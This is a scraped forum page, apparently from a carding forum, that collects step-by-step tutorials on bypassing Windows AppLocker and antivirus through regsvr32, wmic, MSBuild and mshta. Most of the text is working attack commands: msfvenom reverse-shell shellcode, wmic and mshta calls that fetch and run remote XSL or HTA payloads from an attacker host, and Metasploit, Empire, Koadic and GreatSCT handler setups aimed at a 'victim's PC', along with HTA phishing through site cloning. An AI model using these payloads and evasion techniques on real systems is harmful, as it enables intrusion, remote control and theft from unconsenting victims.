Our next method of attacking regsvr32 is by using JSRat and you can download it from [To see content please register here] . This is another very small command and control framework just like koadic and Powershell Empire for generating malicious task only for rundll32.exe and regsvr32.exe. JSRat will create a web server and on that web server, we will find our .sct file. To use this method type:
./JSRat.py -I 192.168.1.107 -p 4444
1
./JSRat.py -I 192.168.1.107 -p 4444
![[Image: 19.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-v2qh2sqwyKc/XEg1uWAhPpI/AAAAAAAAcUE/wbKQiXfPkRcLe6ub6_dw0NgPXJt9u6d-ACEwYBhgL/s1600/19.png?w=687)
Running the above command will start web server.
![[Image: 20.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-QzYZTik2y0M/XEg1ulKYpnI/AAAAAAAAcUM/jLK_b7_fkWc-xdmyhkHiwLm5LOYmSA9kwCEwYBhgL/s1600/20.png?w=687)
Open this in your browser as shown below. Here, you will find the .sct file that you need to run on your victim’s PC.
![[Image: 21.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-7SeHmUcneoM/XEg1u5z8aYI/AAAAAAAAcUQ/d_hh7SJa0SgC0GYKMLaOPXiFG-4LCtRTgCEwYBhgL/s1600/21.png?w=687)
As we have got the command, run the command in the run window as shown in the image below:
![[Image: 22.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-wPhAj3IfB2A/XEg1vdbyBaI/AAAAAAAAcUU/zXoyVBhQBWMGNDWJfaUbPajk7TgTXmTKACEwYBhgL/s1600/22.png?w=687)
After executing the command in the run window you will have a session as shown:
![[Image: 23.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-GJTkZZziers/XEg1vpCRZMI/AAAAAAAAcUY/7MaDoADwYCwC5JWZvE9DqDZdoYZqaHHzgCEwYBhgL/s1600/23.png?w=687)
GreatSCT
GreatSCT is a tool that allows you to use Metasploit exploits and lets it bypass most anti-viruses. GreatSCT is current under support by @ConsciousHacker. You can download it from
//github.com/GreatSCT/GreatSCT
1
//github.com/GreatSCT/GreatSCT
Once it’s downloaded and running, type the following command to access the modules :
use Bypass
1
use Bypass
![[Image: 24.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-RzgnCNA4lEQ/XEg1v0X6VLI/AAAAAAAAcUg/YJC2DBCJC40-QHlRixn4EX8gfsWTBFCpwCEwYBhgL/s1600/24.png?w=687)
Then type ‘list’ to get the list of modules.
![[Image: 25.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-OkZpLjF0ANA/XEg1v7zKnJI/AAAAAAAAcUc/n4w1N1ct2yAA6MCRCAe0gJDNaSIovvDaQCEwYBhgL/s1600/25.png?w=687)
List of modules will appear as shown in the image below:
![[Image: 27.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-fpdD8Spz-cQ/XEg1wOzoZdI/AAAAAAAAcUk/BWYAae3cqtwYRJKugP8tJ2zcclcygMuGwCEwYBhgL/s1600/27.png?w=687)
From the list of modules choose the following :
use regsvr/shellcode_iject/base64_migrate.py
generate
1
2
use regsvr/shellcode_iject/base64_migrate.py
generate
![[Image: 28.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-rHu6THK7pAU/XEg1wWNgbcI/AAAAAAAAcUo/MeIOzWSi7eg4KpR34dWH6f64I9_Fmp5kQCEwYBhgL/s1600/28.png?w=687)
After the above commands, type 1 to choose MSFVenom
![[Image: 29.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-gzFNQ-mRMUY/XEg1wU2CkTI/AAAAAAAAcUs/dVv3hMNqh94kkiygw2bS13zwAfinAqUfACEwYBhgL/s1600/29.png?w=687)
Then it will ask you for payload. Just press enter as it will take windows/meterpreter/reverse_tcp as a default payload and that is the one we need. After that provide IP like here we have given 192.168.1.107 and the given port (any) as here you can see in the image below that we have given lport as 2345
![[Image: 31.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-RscyqfcDO-k/XEg1xAdX2jI/AAAAAAAAcU0/WoYjEgy5xQY4oeVMLAkeAViZOSKaslFcgCEwYBhgL/s1600/31.png?w=687)
After giving the details, it will ask you a name for your malware. By default, it will set name ‘payload’ so either you can give a name or just press enter for the default settings.
![[Image: 33.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-EWhsp_VgTFg/XEg1xDa3MtI/AAAAAAAAcU4/vKTku6yAarYmQLafgaYAx2hrSWCpFkoEwCEwYBhgL/s1600/33.png?w=687)
And just as you press enter it will generate two files. One of them will be a resource file and others will be a .sct file.
![[Image: 34.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-8LIqw6i0oo8/XEg1xu5DYYI/AAAAAAAAcU8/AqYMMzI_iEU1M17XugABKTXhIK8glu4sACEwYBhgL/s1600/34.png?w=687)
Now, firstly, start the python’s server in /usr/share/greatsct-output by typing:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 35.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-NQhPT3f12HA/XEg1x0lobAI/AAAAAAAAcVA/jNYaDTiAJGw9k--kGIAOJ8iVh6444MpQACEwYBhgL/s1600/35.png?w=687)
Now execute the .sct file in the run window of the victim’s PC as shown below.
![[Image: 36.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-d5N_qTmNWmM/XEg1yDT4FoI/AAAAAAAAcVI/ecq14eKPo4s-BZ_7rp5k65XjINVBpeLOgCEwYBhgL/s1600/36.png?w=687)
Simultaneously, start the multi/handler using the resource file. For this, type :
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
1
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
And you have a meterpreter session.
![[Image: 37.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-YiVmVrX9M8U/XEg1yO9840I/AAAAAAAAcVE/_6Yq4gLgQgw1xq8ZMmKUVWkcUJEQazy1ACEwYBhgL/s1600/37.png?w=687)
Conclusion
Using regsvr32 to gain a session is an unusual way but it’s very important. And so above mentioned methods uses different tools and software to allow us to perform this attack.
The purpose of this post is to demonstrate the most common and familiar techniques of whitelisting AppLocker bypass. As we know for security reasons, the system admin adds group policies to restrict application execution for local users. In our previous article, we had discussed on “[To see content please register here] ” as they define the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies using wmic.exe.
Table of Content
Introduction to Wmic.exe
Exploiting Techniques- Koadic
- Powershell Empire
- Link hta within XSL code
Wmic.exe
The WMIC utility is a Microsoft tool that provides a WMI command-line interface that is used for a variety of administrative functions for local and remote machines and also for wmic queries, such as system settings, stop processes and run scripts locally or remotely. Therefore, it can invoke the XSL script (eXtensible Stylesheet Language).
Exploiting Techniques
Koadic
We will generate a malicious XSL file with the help of koadic which is a Command & Control tool which is quite similar to the Metasploit and Powershell Empire.
To know how koadic works, read our article from here: [To see content please register here]
Once installation gets completed, you can run ./koadic file to start koadic and start with loading the stager/js/wmic stager by running the following command and set SRVHOST where the stager should call home.
use stager/js/wmic
set SRVHOST 192.168.1.107
run
1
2
3
use stager/js/wmic
set SRVHOST 192.168.1.107
run
![[Image: 5.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-DL2DWjnymAE/XEgkOvUDZVI/AAAAAAAAcS4/-x5a3Dqh7bQgGO-y1VCZKjStyat829VRwCLcBGAs/s1600/5.png?w=687)
Execute WMIC following command to download and run the malicious XSL file from a remote server:
wmic os get /FORMAT:"//192.168.1.107:9996/g8gkv.xsl"
1
wmic os get /FORMAT:"//192.168.1.107:9996/g8gkv.xsl"
![[Image: 6.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-zOrdHjAIQpY/XEgkOr0POjI/AAAAAAAAcS8/lcT5Q6dw66wga7RHvtExfa_fiB7cGk8qwCLcBGAs/s1600/6.png?w=687)
Once the malicious XSL file will get executed on the target machine, you will have a Zombie connection just like Metasploit.
![[Image: 7.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-zTKjJ-fQ_f8/XEgkPKPrItI/AAAAAAAAcTA/9x5Ev-VQYMQYHfCW49DSEdgxJS6eVgbmACLcBGAs/s1600/7.png?w=687)
PowerShell Empire
For our next method of wmic Attack, we will use empire. Empire is a post-exploitation framework. Till now we have paired our xsl tacks with Metasploit but in this method, we will use empire framework. It’s solely python based PowerShell windows agent which make it quite useful. Empire is developed by @harmj0y, @sixdub, @enigma0x3, rvrsh3ll, @killswitch_gui, and @xorrior. You can download this framework from [To see content please register here] .
To have a basic guide of Empire, please visit our article introducing empire:
[To see content please register here]
Once the empire framework is started, type listener to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener type :
listeners
uselistner http
set Host //192.168.1.107
execute
1
2
3
4
listeners
uselistner http
set Host //192.168.1.107
execute
With the above commands, you will have an active listener. Type back to go out of listener so that you can initiate your PowerShell.
For our wmic attack, we will use a stager. A stager, in the empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. So, for this type:
usestager windows/launcher_xsl
set Listener http
execute
1
2
3
usestager windows/launcher_xsl
set Listener http
execute
Usestager will create a malicious code file that will be saved in the /tmp named launcher.xsl.
![[Image: 8.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-DFvAX4gXMww/XEgkPUwvZlI/AAAAAAAAcTE/k-JRssItrT4bEJxtDzxjhaBo-0kM6CGUQCLcBGAs/s1600/8.png?w=687)
We have use python HTTP server to transfer this file inside victim’s machine
![[Image: 9.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-J9l2Uz5gAQQ/XEgkPzX2uQI/AAAAAAAAcTI/tGAf8EvE3rsCYiCkds3OPqh9bbxGQuj6QCLcBGAs/s1600/9.png?w=687)
And once the file runs, we will have the result on our listener. Run the file in your victim’s machine by typing following command:
wmic process get brief /format:"//192.168.1.107:8080/launcher.xsl"
1
wmic process get brief /format:"//192.168.1.107:8080/launcher.xsl"
![[Image: 10.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-6jh68A-F-i8/XEgkNiFjcCI/AAAAAAAAcSk/LGkhE2Qgqo8zZaDQ0wX39pQL12DLa5IGgCLcBGAs/s1600/10.png?w=687)
To see if we have any session open type ‘agents’. Doing so will show you the name of the session you have. To access that session type :
interact Z639YHPA
sysinfo
1
2
interact Z639YHPA
sysinfo
![[Image: 11.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-K1sg9_cY4hY/XEgkNurB08I/AAAAAAAAcSg/CpSVdA99mMQefebnqeC0C0sMlZkBy8XSQCLcBGAs/s1600/11.png?w=687)
Link hta within XSL code
As we know, wmic can execute any file or script remotely, so we will link an hta file within the XSL code. An XSL file will contain a link, to download and execute a malicious hta file via mshta.exe, which is officially triggered by wmic.
Therefore, let’s generate an hta file with the help of Metasploit:
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
1
2
3
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
Now copy the URL and place inside the XSL code, because they have the ability to execute language script of Microsoft.
![[Image: 12.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-T0hISgjWwv0/XEgkNncW7pI/AAAAAAAAcSo/f2IWpNyi3QM2n6EX45OWh1FnbsImaPQgwCLcBGAs/s1600/12.png?w=687)
Then, we have created a “payload.xsl “file, you can take help from this [To see content please register here] for writing XSL code and then place the link of hta file as shown below.
![[Image: 13.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-GefOus9S94I/XEgkOJnFDhI/AAAAAAAAcSs/Xfu0-q_z7h8UeBGhx8_XthOTgQp2UhXgACLcBGAs/s1600/13.png?w=687)
Now again we need to execute XSL file through wmic.exe with the help of the following command:
wmic os get /FORMAT:"//192.168.1.109/payload.xsl"
1
wmic os get /FORMAT:"//192.168.1.109/payload.xsl"
![[Image: 14.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-Z0v1-GnSh9E/XEgkOS1ufWI/AAAAAAAAcSw/pbQoyjAM3fIREuW3qy6VD2Xm_AayyVNjACLcBGAs/s1600/14.png?w=687)
Once the above command is executed you will have a session open. To access the session, type:
sessions 1
1
sessions 1
![[Image: 15.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-LcU4UKt8AME/XEgkOvg1YjI/AAAAAAAAcS0/NO9XqsCmSjsDp1-EonAzb6GH1ZhKy3vzgCLcBGAs/s1600/15.png?w=687)
The purpose of this post is to demonstrate the most common and familiar techniques of whitelisting AppLocker bypass. As we know for security reason, the system admin adds group policies to restrict app execution for the local user. In our previous article, we had discussed on “Windows Applocker Policy – A Beginner’s Guide” as they define the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies with MSbuild.exe.
Table of Content
Introduction to MSbuild.exe
Exploiting Techniques - Generate CSharp file with Msfvenom
- Generate XML file to Exploit MSbuild
- Nps_payload Script
- Powershell Empire
- GreatSCT
Introduction to MSbuild.exe
The Microsoft Build Engine is a platform for building applications. This engine, which is also known as MSBuild, provides an XML schema for a project file that controls how the build platform processes and builds software. Visual Studio uses MSBuild, but it doesn’t depend on Visual Studio. By invoking msbuild.exe on your project or solution file, you can organize and build products in environments where Visual Studio isn’t installed.
Visual Studio uses MSBuild to load and build managed projects. The project files in Visual Studio (.csproj, .vbproj, .vcxproj, and others) contain MSBuild XML code.
Exploiting Techniques:
Generate CSharp file with Msfvenom
We use Microsoft Visual Studio to create C # (C Sharp) programming project with a *.csproj suffix that saved in MSBuild format so that it can be compiled with the MSBuild platform into an executable program.
With the help of a malicious build, we can obtain a reverse shell of the victim’s machine. Therefore, now we will generate our file.csproj file and for that, first generate a shellcode of c# via msfvenom. Then later that shellcode will be placed inside our file.csproj as given below.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp
![[Image: 1.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-Zm7GyvQAHmQ/XEbGch8EgoI/AAAAAAAAcQE/QHv57yC2ypwKLU7RI5axwJ9jZr9-enGogCLcBGAs/s1600/1.png?w=687)
The shellcode generated above should be placed in the XML file and you can download this XML file from [To see content please register here] , which has the code that the MSBuild compiles and executes. This XML file should be saved as. file.csproj and must be run via MSBuild to get a Meterpreter session.
Note: Replace the shellcode value from your C# shellcode and then rename buf as shellcode as shown in the below image.
![[Image: 2.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-6ujRJ5TRcOs/XEbGe3w72xI/AAAAAAAAcQo/J9KzGL_ic_kjqAg-7qLo88R-ObS2xL6nwCLcBGAs/s1600/2.png?w=687)
You can run MSBuild from Visual Studio, or from the Command Window. By using Visual Studio, you can compile an application to run on any one of several versions of the .NET Framework.
For example, you can compile an application to run on the .NET Framework 2.0 on a 32-bit platform, and you can compile the same application to run on the .NET Framework 4.5 on a 64-bit platform. The ability to compile to more than one framework is named multitargeting.
To know more about MSBuild read from here: [To see content please register here]
Now launch multi handler to get meterpreter session and run the file.csproj file with msbuild.exe at the target path: C:\Windows\Microsoft.Net\Framework\v4.0.30319 as shown.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj
1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj
Note: you need to save your malicious payload (XML / csproj) at this location:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ and then execute this file with command prompt.
![[Image: 3.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-3eVE3__pUYE/XEbGfD-uzGI/AAAAAAAAcQw/Tu0GYPubWc4pJFIfHyJPtSPlOqQLBUp2QCLcBGAs/s1600/3.png?w=687)
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
1
2
3
4
5
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
As you can observe, we have the meterpreter session of the victim as shown below:
![[Image: 4.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-K4QqfPZ3FBA/XEbGfvysA_I/AAAAAAAAcQ0/1AjfvIGKuaIKg8by6qtjTxP7WlJnPGougCLcBGAs/s1600/4.png?w=687)
Generate XML file to Exploit MSBuild
As mentioned above, MSBuild uses an XML- based project file format that is straightforward and extensible, so we can rename the generated file.csproj as file.xml and again run the file.xml with msbuild.exe on the target path: C:\Windows\Microsoft.Net\Framework\v4.0.30319 as shown.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml
1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml
![[Image: 5.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-3PV2zh8phbY/XEbGfuXdFlI/AAAAAAAAcQ4/FIBmk_0YhcEiWB3JzSlXl3OPbxWBMnUqACLcBGAs/s1600/5.png?w=687)
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
1
2
3
4
5
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
As you can observe, we have the meterpreter session of the victim as shown below:
![[Image: 6.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-gtaRIy5gN6A/XEbGf2jQGZI/AAAAAAAAcQ8/IqCbNH2yS9YSPJ-BfF-yl9-4N_YDA2UqQCLcBGAs/s1600/6.png?w=687)
Nps_Payload Script
This script will generate payloads for basic intrusion detection avoidance. It utilizes publicly demonstrated techniques from several different sources. Written by Larry Spohn (@Spoonman1091) Payload written by Ben Mauch (@Ben0xA) aka dirty_ben. You can download it from [To see content please register here] .
Nps_payload generates payloads that could be executed with msbuild.exe and mshta.exe to get the reverse connection of the victim’s machine via the meterpreter session.
Follow the below step for generating payload:
- Run ./nps_payload.py script, once you have downloaded nps payload from GitHub
- Press key 1 to select task “generate msbuild/nps/msf”
- Again Press key 1 to select payload “windows/meterpreter/reverse_tcp”
This will generate a payload in the XML file, send this file at target location C:\Windows\Microsoft.Net\Framework\v4.0.30319 as done in the previous method and simultaneously run below command in a new terminal to start the listener.
msfconsole -r msbuild_nps.rc
1
msfconsole -r msbuild_nps.rc
![[Image: 7.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-tNkz_VzrMyQ/XEbGgH_cnYI/AAAAAAAAcRA/2HRxW99iJAckyChsYsESyOq_YeE5dXAYwCLcBGAs/s1600/7.png?w=687)
Now repeat above step to execute msbuild_nps.xml with command prompt and obtain a reverse connection via meterpreter as shown below:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe msbuild_nps.xml
1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe msbuild_nps.xml
![[Image: 9.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-t9DrOuLl0B4/XEbGgI2u-aI/AAAAAAAAcRE/XS2BaNP6SsImCOcvkejqIgz1gEWG2yPAQCLcBGAs/s1600/9.png?w=687)
PowerShell Empire
For our next method of msbuild Attack, we will use empire. Empire is a post-exploitation framework. Till now we have paired our XML tacks with Metasploit but in this method, we will use empire framework. It’s solely python based PowerShell windows agent which make it quite useful. Empire is developed by @harmj0y, @sixdub, @enigma0x3, rvrsh3ll, @killswitch_gui, and @xorrior. You can download this framework from [To see content please register here] .
To have a basic guide of Empire, please visit our article introducing empire:
Once the empire framework is started, type listener to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener type :
listeners
uselistner http
set Host //192.168.1.107
execute
1
2
3
4
listeners
uselistner http
set Host //192.168.1.107
execute
With the above commands, you will have an active listener. Type back to go out of listener so that you can initiate your PowerShell.
For our MSBuild attack, we will use a stager. A stager, in the empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. So, for this type:
usestager windows/launcher_xml
set Listener http
execute
1
2
3
usestager windows/launcher_xml
set Listener http
execute
Usestager will create a malicious code file that will be saved in the /tmp named launcher.xml.
![[Image: 10.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-qOOzLH_zLXs/XEbGcmZi7PI/AAAAAAAAcP8/Mq_t9Ko5ff8T7qVW0rjA2mlSTGY22ro2ACLcBGAs/s1600/10.png?w=687)
And once the file runs, we will have the result on our listener. Run the file in your victim’s by typing following command :
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe launcher.xml
1
2
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe launcher.xml
![[Image: 11.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-9u3oLZ_hrCo/XEbGcmrjjXI/AAAAAAAAcQA/67zFM39Sn4ofoduqTOsRhjxqKKxFDt91ACLcBGAs/s1600/11.png?w=687)
To see if we have any session open type ‘agents’. Doing so will show you the name of the session you have. To access that session type :
interact A8H14C7L
1
interact A8H14C7L
The above command will give you access to the session.
sysinfo
1
sysinfo
![[Image: 12.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-Q95hpYYAiQc/XEbGdHRTCDI/AAAAAAAAcQI/IXOkKHMWV3gvaJCRUS5mBEhxjRrxdS7xACLcBGAs/s1600/12.png?w=687)
GreatSCT
GreatSCT is a tool that allows you to use Metasploit exploits and lets it bypass most anti-viruses. GreatSCT is current under support by @ConsciousHacker. You can download it from here: [To see content please register here]
Once it’s downloaded and running, type the following command to access the modules:
use Bypass
1
use Bypass
![[Image: 13.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-KvnDk1niYa8/XEbGde9VrCI/AAAAAAAAcQQ/6WY0XdPw9hQ9nQS769vY75czs-sX9f11QCLcBGAs/s1600/13.png?w=687)
Now to see the list of payloads type :
list
1
list
![[Image: 14.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-MPKkcv7SdQc/XEbGdcYbYOI/AAAAAAAAcQM/xahgOjrav9gxssCBkEXi2NqR4H5hNvk4QCLcBGAs/s1600/14.png?w=687)
Now from the list of payloads, you can choose anyone for your desired attack. But for this attack we will use :
use msbuild/meterpreter/rev_tcp.py
1
use msbuild/meterpreter/rev_tcp.py
![[Image: 15.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-x3QSMnEyBCA/XEbGdbZspCI/AAAAAAAAcQU/ufBuaVh0nSwfYt6HJfc0xZLtbvOYb4IXwCLcBGAs/s1600/15.png?w=687)
Once the command is executed, type :
set lhost 192.168.1.107
generate
1
2
set lhost 192.168.1.107
generate
![[Image: 16.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-ZTwCA0ZaBxA/XEbGd2fGxZI/AAAAAAAAcQc/QGEJg9yUspoEL-Byr4pWwQAu6jCvzByPgCLcBGAs/s1600/16.png?w=687)
While generating the payload, it will ask you to give a name for a payload. By default, it will take ‘payload’ as the name. We had given msbuild as payload name where the output code will be saved in XML.
![[Image: 17.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-aF72G5PkBtc/XEbGd654W8I/AAAAAAAAcQY/pew5lNqtJyUkCZ4mw5OdKtbqaqZQI3kUwCLcBGAs/s1600/17.png?w=687)
Now, it made two files. One Metasploit RC file and other a msbuild.xml file.
Now, firstly, start the python’s server in /usr/share/greatsct-output/source by typing:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 18.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-ac2m9SAv5uQ/XEbGeOIHV6I/AAAAAAAAcQg/9CB8NhFEhd4McEOCsf2H9D4I2N0V5po2gCLcBGAs/s1600/18.png?w=687)
Run the file in your victim’s by typing following command:
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe msbuild.xml
1
2
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe msbuild.xml
![[Image: 19.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-ZnaFg9dTzpU/XEbGeT26MDI/AAAAAAAAcQk/yfStwxKsOFYTC3uD549JT95BjqsXsCkUgCLcBGAs/s1600/19.png?w=687)
Simultaneously, start the multi/handler using the resource file. For this, type :
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
1
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
And voila! We have a meterpreter session as shown here.
![[Image: 20.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-ktaWF2MoINg/XEbGe3bw2UI/AAAAAAAAcQs/gDm-QxOzQaA5B4zhwfXAATrUawJ5oZPKQCLcBGAs/s1600/20.png?w=687)
Reference: [To see content please register here]
|
|
|
|
| [Guide] How to Bypass Application Whitelisting using mshta.exe (Multiple Methods) |
|
Posted by: NINZA - 05-14-2020, 11:17 AM - Forum: Carders Home
- No Replies
|
 |
Today we are going to learn about different methods of HTA attack. HTA is a useful and important attack because it can bypass application whitelisting. In our previous article, we had discussed on “Windows Applocker Policy – A Beginner’s Guide” as they define the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies with mshta.exe.
And to learn different methods of the said attack always come handy.
Table of Content:
- Introduction
- Importance of HTA
- Different methods
- Conclusion
Introduction
For a long time, HTA files have been utilized as part of drive-by web assaults or droppers for malware within the wild. This includes doing something as basic as diverting mobile clients and educating that the website doesn’t, however, have mobile support. HTA files are well known within the world of cybersecurity in perspectives of both red teaming and blue teaming as one of those “retro” ways valuable to bypass application whitelisting.
Mshta.exe runs the Microsoft HTML Application Host, the Windows OS utility responsible for running HTA( HTML Application) files. HTML files that we can run JavaScript or Visual with. You can interpret these files using the Microsoft MSHTA.exe tool.
Importance
Finally, utilizing htaccess files or other strategies to divert based on browser sorts will help increase victory rates. Utilizing HTA files for web-based assaults. There’s a ton of adaptability inside an HTA file; you’ll effectively make it appear to be an Adobe updater, secure record per user, and a number of other things. It would moreover be useful to have the HTA file over HTTPS constraining discovery rates for companies not utilizing a few sorts of SSL interception/termination. HTA records help to bypass antivirus since they are still not well identified. Last but not least HTA can also be used in web phishing, replacing old Java Applet attack.
Methods
There are multiple methods for an HTA attack. And we are going to shine a light to almost all of them. Methods we are going to study are:
- Metasploit
- Setoolkit
- Magic unicorn
- Msfvenom
- Empire
- CactusTorch
- Koadic
- Great SCT
Metasploit
Our first method is to use an inbuild exploit in Metasploit. For this, go to the terminal in your kali and type :
Msfconsole
Metasploit contain “HTA Web Server” module which generates malicious hta file. This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed. As the Metasploit will start up, type :
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
1
2
3
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
![[Image: 1.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-vvzW6HCZvI0/XEa4efhgWII/AAAAAAAAcM4/9ziEBT_tf1kaGONQcWB3U35gTLK0oomWwCLcBGAs/s1600/1.png?w=687)
Once the exploit is executed, it will give you an URL link with the extension of .hta. Simultaneously, Metasploit will start the server which allows you to share the file. This link you further have to run in your victim’s PC. Using the following command:
mshta.exe //192.168.1.109:8080/pKz4Kk059Nq9.hta
1
mshta.exe //192.168.1.109:8080/pKz4Kk059Nq9.hta
The usual file extension of an HTA is .hta. We have used the above command because HTA is treated like any executable file with extension .exe, hence, executed via mshta.exe. When hta gets launched by mshta.exe it uses a signed Microsoft binary, allowing you to call PowerShell and inject a payload directly into memory.
![[Image: 2.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-e_tywM_US90/XEa4mCYAxNI/AAAAAAAAcNk/637xtFiwrYgC7hvOK6pAKd7XNWucM6apwCLcBGAs/s1600/2.png?w=687)
Once the above command is executed you will have a session open. To access the session, type:
sessions 1
1
sessions 1
Thus, you will have your meterpreter session.
![[Image: 3.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-37K154t8BYY/XEa4u-OwFRI/AAAAAAAAcOU/vx2v3eKjaCE_gT3YosXM2F0TBB0xZjq6gCLcBGAs/s1600/3.png?w=687)
Setoolkit
Our method for HTA attack is through setoolkit. For this, open setoolkit in your kali. And from the menu given choose the first option by typing 1 to access social engineering tools.
![[Image: 4.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-SiFoPT2_TY4/XEa4zfV3DGI/AAAAAAAAcPA/DNCwuqfBHjwSFwzTGs48Oqw5Ff2OjsalACLcBGAs/s1600/4.png?w=687)
From the next given menu, choose the second option by typing 2 to go into website attack vendors.
![[Image: 5.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-OIblAq20dko/XEa4z-7jmCI/AAAAAAAAcPI/xfbb8bXDej8-gCgXSJSHHUZizqm5KQiQwCLcBGAs/s1600/5.png?w=687)
From the further given menu choose option 8 to select the HTA attack method.
![[Image: 6.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-4nQu5qan2P0/XEa40Ah5QEI/AAAAAAAAcPM/KSmxNOrz3Okc3KDCHso7RLUmYrjkGOgjACLcBGAs/s1600/6.png?w=687)
Once you have selected the option 8 for HTA attack, next you need to select option 2 which will allow you to clone a site. Once selected the option 2, it will ask the URL of the site you want to clone. Provide the desired URL as here we have given ‘[To see content please register here] ’.
![[Image: 7.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-uyK59X6pg6o/XEa40eWsGaI/AAAAAAAAcPQ/Qr870h4ZpGYaRCVhNs6En7M24XHmI9SfwCLcBGAs/s1600/7.png?w=687)
